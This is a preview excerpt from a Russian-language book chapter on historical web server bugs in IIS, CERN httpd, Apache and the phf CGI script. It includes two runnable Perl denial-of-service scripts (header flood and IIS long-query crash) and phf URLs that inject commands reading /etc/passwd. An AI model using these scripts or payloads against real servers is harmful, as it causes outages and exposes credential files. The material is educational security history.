Ознакомительная версия.
Выделим основные классы ошибок в собственно серверах:
1. Ошибки, приводящие к утрате конфиденциальности. Наиболее распространены в последнее время, дают возможность получить неавторизованный доступ к информации: обойти систему аутентификации, просмотреть исходный код критичных приложений и т. д.
2. Ошибки, приводящие к атакам типа «отказ в обслуживании» (DoS). Носят исключительно деструктивный характер, приводят сервер в состояние, когда он неспособен выполнять свои штатные функции, будучи занят обработкой ложных запросов.
3. Ошибки, приводящие к выполнению на сервере неавторизованного кода. Позволяют запускать на выполнение программы, уже существующие на сервере, но не предназначенные для общего доступа, а также передавать на сервер свой исполняемый код. Последнее характерно для ошибок, связанных с переполнением буфера.
Перечисленные ниже ошибки, как правило, уже давно исправлены и широко известны, но кто знает – вдруг именно вам не повезет (или повезет).
Старая ошибка в Microsoft Internet Information Server (IIS) и ASP – при добавлении точки к адресу некоего asp-файла мы вместо результата его работы получаем его исходный текст. Ошибка устранялась правильным администрированием – отключением права на чтение в каталоге, где размещены скрипты. Вышедшее исправление этой ошибки привело к появлению новой – использование в имени скрипта вместо символа «.» его шестнадцатеричного представления (%2e) давало такой же результат (http://www.victim.com/scripts/script%2easp).
Аналогичная ошибка существует в MS Personal Web Server, а летом 98-го года были обнаружены сходные ошибки в серверах Netscape Enterprise и O'Reilly&Associates' WebSite Professional – просмотреть содержимое скриптов можно было, добавив к URL %20 (шестнадцатеричное представление пробела). Синхронно обнаружены «дырки» в IIS всех версий, приводящие к тому же результату при добавлении к URL конструкции «::$DATA» (http://www.victim.com/scripts/script.asp::$DATA) и использующие возможность альтернативного обращения к содержимому файла для файловой системы NTFS через так называемые потоки данных (data streams).
При установке IIS на контроллер домена пользователь IUSR_hostname, находящийся обычно в группе Guests, мог попасть в группу Domain Users. Таким образом, пользователь Anonymous (посетитель Web– или ftp-сервера) получал права пользователей домена со всеми вытекающими последствиями.
CERN httpd-сервер – использование дополнительных «/» позволяло обходить ограничения доступа к каталогу (http://www.victim.com//secret/index.html). В предыдущей главе уже упоминалась ошибка, с помощью которой злоумышленник мог выйти за пределы пространства, отведенного под WWW, указав URL вида http://www.victim.com/…/. Это наблюдалось под Personal Web Server.
Любопытная ошибка, связанная с длинными именами файлов. Файл, имя которого не укладывается в рамки 8 + 3, в Windows NT/95 может быть доступен как по длинному, так и по короткому имени: к verylongname.html можно обратиться и как к verylo~1.htm. Многие Web-серверы позволяли получить доступ через короткое имя к файлу с длинным именем, доступ к которому был закрыт.
Старые версии Apache включали не слишком эффективный код (порядка n 2), удаляющий дублирующие символы «/», что делало возможным атаковать сервер множественными запросами с большим количеством этих символов.
Поскольку многие серверы не устанавливают ограничение на количество передаваемых в заголовке клиентского запроса полей, существует возможность атаковать сервер такими запросами, что во многих случаях приводит если не к зависанию, то к сильному замедлению работы сервера. Атаки этого вида получили название
Sioux Attack (первая программа, демонстрирующая эту атаку, посылала 10 000 заголовков «User-Agent: siouxrn»). Вот пример скрипта на perl, реализующего атаку путем формирования потока фиктивных заголовков размером 8 Кб каждый:
#!/usr/bin/perl -w
use Socket;
# Usage : $0 host [port [max] ]
$max= 0;
if ($ARGV[2])
{
$max= $ARGV[2];
}
$proto = getprotobyname(’tcp’);
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
if ($ARGV[1])
{
$port= $ARGV[1];
}
$host = $ARGV[0];
$sin = sockaddr_in($port,inet_aton($host));
connect(Socket_Handle,$sin);
send Socket_Handle,"GET / HTTP/1.0n",0;
$val= (’z’x8192)."n";
$n= 1;
$|= 1;
while (Socket_Handle)
{
send Socket_Handle,"Stupidheader$n: ",0;
send Socket_Handle,$val,0;
$n++;
if (!($n % 100))
{
print "$nn";
}
if ($max && ($n > $max))
{
last;
}
}
print "Done: $nn";
send Socket_Handle,"n",0;
while (<Socket_Handle>)
{
print $_;
}
В последних версиях Apache для борьбы с подобными атаками появилась директива LimitRequestFields, позволяющая ограничить количество заголовков в обрабатываемом http-запросе.
IIS 3.0 был подвержен другой DoS-атаке, связанной с получением запроса вида http://www.victim.com/path?name=XXXX…
Если пара имя/значение имеет определенную длину (свою для каждого сервера, однако колеблется около 8 Кб), в процессе inetinfo.exe возникает нарушение доступа, приводящее к прекращению работы сервиса WWW. Причем совершенно необязательно, чтобы на сервере существовал документ или скрипт path – до вызова документа дело просто не доходит. Подбирать нужную длину запроса можно вручную или с помощью, к примеру, такой программы:
#!/usr/bin/perl -w
use Socket;
$proto = getprotobyname(’tcp’);
$port = 80;
$host = "www.victim.com";
$sin = sockaddr_in($port,inet_aton($host));
for ($i = 8000; $i<9000; $i++)
{
print "nTrying $i symbols: n";
$value = ’z’x$i;
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
if(!connect(Socket_Handle,$sin))
{
$n = $i+4;
print "nnLooks like we got it: $n symbols";
exit;
}
send Socket_Handle,"GET /path?name=$value HTTP/1.0n",0;
send Socket_Handle,"User-Agent: my agentn",0;
send Socket_Handle,"n",0;
while (<Socket_Handle>)
{
print $_;
}
}
Проверяя эту уязвимость, мы выяснили, что проблема проявилась во время отправки запроса длиной 8 181 байт. При этом Dr. Watson вывел следующее сообщение об ошибке в программе INETINFO.EXE: «Access violation, address 0x77A07614». В результате более подробного рассмотрения дампа ошибки выяснилось, что по этому адресу в программе идет код CMPSB (сравнение строк), использующий ESI и EDI как базовые указатели. Очевидно, они вышли за пределы разрешенной области, что и спровоцировало ошибку. Следовательно, подтверждается вывод: такая уязвимость не приведет к исполнению «троянского» кода (как обычно это бывает при переполнении буфера), а приведет только к остановке сервиса WWW.
При проверке этой уязвимости выяснилось, что наличие CGI-запроса также необязательно. Был подобран запрос вида http://www.victim.com/././././././././././ … длиной 8 206 байт, вызывавший в точности такую же картину. Любопытно, что запросы больше или меньше на 2 байта ни к каким сообщениям INETINFO не приводили.
Очень старая ошибка в MS IIS – зная путь до. cmd– или .bat-файла на сервере, можно добиться выполнения своих команд, передав их следующим образом:
http://www.victim.com/scripts/script.bat?&COMMAND1+?&COMMAND2+?&…+?&COMMANDN.
Все в том же IIS адрес вида http://www.victim.com/..… позволял просматривать файлы вне корневого каталога Web-сервера, выполнять скрипты и т. д. Правда, это не работало в случае ограничения доступа к этим файлам пользователю IUSR_hostname.
Ошибки во вспомогательных программахВ комплекте с серверами обычно поставляются всевозможные вспомогательные утилиты, примеры CGI-скриптов и т. д. При обновлении серверных программ вполне может возникнуть ситуация, когда вместе с новыми утилитами и примерами продолжают трудиться и старые, со всеми испытанными ошибками.
Классический и, наверное, известный всем, но до сих пор встречающийся образец – скрипт phf. Это вовсе не специально оставленный «черный вход», как можно подумать, глядя на результаты его использования, а всего лишь пример скрипта ведения телефонной книги, распространявшийся со старыми версиями Apache и некоторыми другими серверами. Для желающих проверить на прочность современные серверы – в конфигурационных файлах, приходящих с последними версиями Apache, достаточно раскомментировать четыре строчки, чтобы все попытки обращения к phf перенаправлялись на сервер http:// phf.apache.org/phf_abuse_log.cgi. Впрочем, многие администраторы слишком ленивы, чтобы выполнить это.
Проблема в следующем: встретив в командной строке символ перевода строки (0x0a), он ведет себя иначе: строка http://www.victim.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= приведет к выполнению на сервере команды cp /etc/passwd ~someuser/passwd, а http://www.victim.com/cgi-bin/phf?Qalias=%0A/bin/cat%20/etc/passwd – к выполнению команды /bin/cat /etc/passwd.
Аналогичная проблема с 0x0a существует у скрипта campus.cgi, распространяемого с NCSA server, а также у некоторых других. Все эти ошибки, связанные с переводом строки, были вызваны тем, что пример кода на C (cgi_src/util.c), распространявшийся долгое время с NCSA httpd в качестве примера, как надо писать безопасные скрипты CGI, не содержал символа перевода строки в списке символов, запрещенных для передачи оболочке операционной системы. В итоге страдали все скрипты, использующие эту библиотеку.
Со скриптами test или test-cgi, включаемыми некоторыми серверами для проверки правильности передачи серверу переменных окружения, связана другая ошибка. Вот примерное содержимое этого скрипта:
#!/bin/sh
echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
Ознакомительная версия.
